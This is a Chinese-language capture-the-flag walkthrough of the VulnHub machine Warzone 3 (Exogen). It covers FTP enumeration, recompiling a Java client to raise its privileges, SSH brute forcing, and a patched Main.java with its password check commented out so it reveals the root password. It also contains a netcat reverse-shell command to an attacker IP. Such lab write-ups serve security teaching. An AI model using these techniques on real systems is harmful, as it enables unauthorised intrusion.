VulnHub-WARZONE: 3 (EXOGEN) – 作者:德米lasi

靶机地址:https://www.vulnhub.com/entry/warzone-3-exogen,606/Warzone: 3 (Exogen) ~ VulnHub

直接用vm虚拟机导入即可

0x0:信息收集

用nmap确定靶机ip

1612768319_6020e43fb57ee646817fb.png!small?1612768319504

前面那个域名是很重要的一部分。需要在hosts去指定

1612768364_6020e46c39c65a3a5b314.png!small?1612768363848

不去指定的话会影响后面的操作

nmap扫描端口

1612768438_6020e4b6f164f207b281c.png!small?1612768438706

FTP尝试匿名登录(anonymous)

1612768522_6020e50a9aad035f300e5.png!small?1612768522308

把pub目录里面的两个文件下载到本地

在note.txt中会获取到一个用户。alienum@exogenesis

提示username用sha256加密

1612768565_6020e53521622bd6cdc6b.png!small?1612768564862

0x1:alienclient.jar文件分析

jar文件(一个登录页面)

1612768863_6020e65f51827cd83fd08.png!small?1612768862997

输入后会报错,用反编译的JD-GUI查看一下源代码

1612768824_6020e63891d7106882360.png!small?1612768824218

可以判断

username:alienum

password:exogenesis

登录后会进入到程序里面

1612768943_6020e6af732a6c9f12e22.png!small?1612768943070但没有权限去,继续分析java文件

1612769070_6020e72e4b39bb6d74df6.png!small?1612769069992

researcher和astronaut权限

用重新编译的方式去提升权限

1612769102_6020e74eab04f7326fd5e.png!small?1612769102452

可以用直接导出文件,或者自己一个文件一个文件去复制(idea去创建一个新的项目,创建一个alien包,把文件复制进去)

1612769203_6020e7b3b76415aec502a.png!small?1612769203357

然后去提升权限和反弹shell(我是直接把系统命令在文件里面了)

修改starter文件,直接赋予权限

1612769308_6020e81c0be0a2d9d7d72.png!small?1612769307641

在去找到执行系统权限的地方

1612769370_6020e85a1d1fd4406eae8.png!small?1612769369712

在重新反编译的过程中可能这段代码会出现报错(按我下面修改即可)

1612769626_6020e95ac35aaae169e92.png!small?1612769626422

idea下在重新封装成jar文件

1612769703_6020e9a74f31cda45ee2d.png!small?1612769702991

会先生成一个META-INF的文件,

1612769757_6020e9dd3ae94fdd9090d.png!small?16127697569141612769738_6020e9cabd5cf1ae7bd94.png!small?1612769738364

成功的情况就会正常输出来

1612769789_6020e9fd1b2479c9ac77d.png!small?1612769788740

jar文件生成的目录路径

1612769890_6020ea62d447bf99b9a1a.png!small?1612769890463

需要对java的版本进行同步(我用的11)

1612769922_6020ea825a9203fd8e931.png!small?1612769921936

还有一种办法是直接修改start文件(修改,Token参数加密字符是SHA256加密用户后的字符串)

1612770912_6020ee6008a62caa6a70d.png!small?1612770911683

list.setCmd("nc /bin/bash 192.168.37.15 8081 "); // 去修改反弹shell就完成了 直接执行既可以不需要反编译

把生成的jar文件复制到kali中去执行

1612770002_6020ead2487e59237a470.png!small?1612770001993

在密码哪里会出现报错,不影响接下来的使用

1612770044_6020eafc0603a88925f9b.png!small?1612770043638

在随便点击一个文件,就可以触发反弹shell的命令

1612770098_6020eb324256cb7358ae5.png!small?1612770098086

用python获取交互式shell

1612770136_6020eb58f3757d1c2616a.png!small?1612770136632

可以看见有alienserver.jar的文件,report1-4是的文件

.sh文件的内容

1612770194_6020eb92e5b8a58600edb.png!small?1612770194588

在/home/exomorph目录

1612771458_6020f082e6289677c1c40.png!small?1612771458571

用python把文件下载出来

1612771531_6020f0cbb51386ad4a763.png!small?1612771531345

0x2:wrz3encryptor.jar分析

在去分析一下jar文件

1612772209_6020f37124e43dbb95102.png!small?1612772208769

很明显的AES加密

1612772236_6020f38cd39bc278dfdfc.png!small?1612772238078

需要解密修改文件 改成解密模式

1612773917_6020fa1d750a18b351efd.png!small?1612773917094

MAIN.java

1612773963_6020fa4b7614611c8b1c6.png!small?1612773963129

需要是绝对路径。不然会报错,

查看内容 strings查看

1612774044_6020fa9c3e1a6128c6b62.png!small?1612774043848

在使用爆破工具,去爆破ssh

1612774392_6020fbf88b7cc39746e97.png!small?1612774392219

利用获取到账号和密码ssh登录

0x4:提权

三个文件把图片的内容下载到kali中查看

1612774624_6020fce08e9f1e81acec8.png!small?1612774624236

在info文件中提示–batch

gpg –batch –output secpasskeeper.jar –passphrase nak1nak1.. –decrypt secpasskeeper.jar.pgp

解压出来,idea创建新项目复制代码

cryptor.java和Resources.java内容不动

修改后的main代码

package alien;
import java.io.UnsupportedEncodingException;
import java.security.InvalidKeyException;
import java.security.NoSuchAlgorithmException;
import java.util.Scanner;
import javax.crypto.BadPaddingException;
import javax.crypto.IllegalBlockSizeException;
import javax.crypto.NoSuchPaddingException;

public class Main {
public static void main(String[] args) throws InvalidKeyException, NoSuchPaddingException, NoSuchAlgorithmException, BadPaddingException, IllegalBlockSizeException, UnsupportedEncodingException {
try {
Scanner in = new Scanner(System.in);
System.out.println("[Warzone 3] Root's Password Manager");a
System.out.print("Secret passphrase : ");
String secret = in.nextLine();
Cryptor cryptor = new Cryptor();
Resources res = new Resources();
String user = cryptor.decrypt(secret, removeSalt(res.getCipher()));
String sys = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
if (true/*user.equals(sys)*/) {
String plaintext = cryptor.decrypt(cryptor.decrypt(res.gotSecret(), removeSalt(res.getSecret())), removeSalt(res.getCipher()));
System.out.println("[+] Success, the password is : " + plaintext);
} else {
System.out.println("[x] Failed");
}
} catch (NullPointerException n) {
System.out.println("[!] Terminated");
System.exit(0);
}
}

public static String removeSalt(String salted) {
String unsalted = salted.replace("al13n", "");
return unsalted;
}
}

image.png

随便字符就返回root的密码

1612775924_602101f406ca8cbe89221.png!small?1612775923693

成功获取到root权限

0x5:UTFO文件

UTFO的文件

/root/boss.txt

/home/anunnaki/underboss.txt

来源:freebuf.com 2021-02-08 17:25:54 by: 德米lasi

© 版权声明
THE END
喜欢就支持一下吧
点赞0
分享
评论 抢沙发

请登录后发表评论